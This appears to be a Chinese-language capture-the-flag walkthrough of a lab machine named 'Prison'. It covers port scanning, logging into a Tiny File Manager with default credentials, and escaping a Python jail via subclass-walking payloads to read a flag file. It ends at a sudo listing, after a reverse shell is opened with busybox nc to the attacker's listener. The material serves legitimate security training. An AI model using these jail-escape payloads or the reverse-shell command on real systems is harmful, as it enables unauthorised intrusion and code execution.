# Nmap 7.95 scan initiated Fri Mar 6 21:07:11 2026 as: /usr/lib/nmap/nmap -p- -oA ports 192.168.43.10 Nmap scan report for Prison (192.168.43.10) Host is up (0.00053s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: CE:7F:27:86:40:F8 (Unknown)
# Nmap done at Fri Mar 6 21:07:12 2026 -- 1 IP address (1 host up) scanned in 1.41 seconds
web 渗透
上 web 页面看了一眼,是个 Tiny File Manager,网上搜索到其默认凭据为 admin:admin@123:
# use nicer PS1 for bash and busybox ash if [ -n "$BASH_VERSION" -o "$BB_ASH_VERSION" ]; then PS1='\h:\w\$ ' # use nicer PS1 for zsh elif [ -n "$ZSH_VERSION" ]; then PS1='%m:%~%# ' # set up fallback default PS1 else : "${HOSTNAME:=$(hostname)}" PS1='${HOSTNAME%%.*}:$PWD' [ "$(id -u)" -eq 0 ] && PS1="${PS1}# " || PS1="${PS1}\$ " fi
for script in /etc/profile.d/*.sh ; do if [ -r "$script" ] ; then . "$script" fi done unset script export ENTRYPWD=OTA4YmY5OTBiMGMz
/etc/profile 是 Linux 系统中一个全局的 shell 配置文件,主要用于设置所有用户登录时的环境变量、启动程序或定义系统级的默认行为。
用这个密码去尝试登录刚才的程序,登录成功了:
1 2 3 4 5 6 7 8 9 10 11 12
/etc $ nc 127.0.0.1 9999 nc 127.0.0.1 9999 === Python Jail === Enter password: OTA4YmY5OTBiMGMz OTA4YmY5OTBiMGMz Password correct! Enter Python Eval (type'exit' to quit) >>> 1+1 1+1 Result: 2 >>> import os import os Blocked! No cheating.
是个 pyjail ,有一些黑名单,用以下的 payload 可以读取文件:
1 2 3
>>> [ x for x in''.__class__.__base__.__subclasses__() if x.__name__=="FileLoader" ][0].get_data(0,"/home/aristore/user.txt") [ x for x in''.__class__.__base__.__subclasses__() if x.__name__=="FileLoader" ][0].get_data(0,"/home/aristore/user.txt") Result: b'flag{user-3656dc8cdb26771dc5df08ed83cc7487}\n'
用如下的 payload 可以进行命令执行:
1
>>> [ x.__init__.__globals__ for x in''.__class__.__base__.__subclasses__() if x.__name__[:5]=="_wrap"][0]['sy'+'stem']('busybox nc 192.168.43.153 4567 -e sh')
原本的 payload 是这样的:[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls") 。
┌──(kali㉿kali)-[~] └─$ nc -nvlp 4567 Listening on 0.0.0.0 4567 Connection received on 192.168.43.10 35617 whoami aristore python3 -c "import pty;pty.spawn('/bin/sh')" / $ ls ls bin etc media root sys boot home mnt run tmp dev lib opt sbin usr empty lost+found proc srv var / $ cd cd ~ $ ls ls user.txt ~ $ cat user.txt cat user.txt flag{user-3656dc8cdb26771dc5df08ed83cc7487}
sudo -l 查看我们能 sudo 执行什么:
1 2 3 4 5 6 7 8 9 10 11
~ $sudo -l sudo -l Matching Defaults entries for aristore on Prison: secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
Runas and Command-specific defaults for aristore: Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
User aristore may run the following commands on Prison: (ALL) NOPASSWD: /usr/bin/python3 -m http.server -d /tmp -b *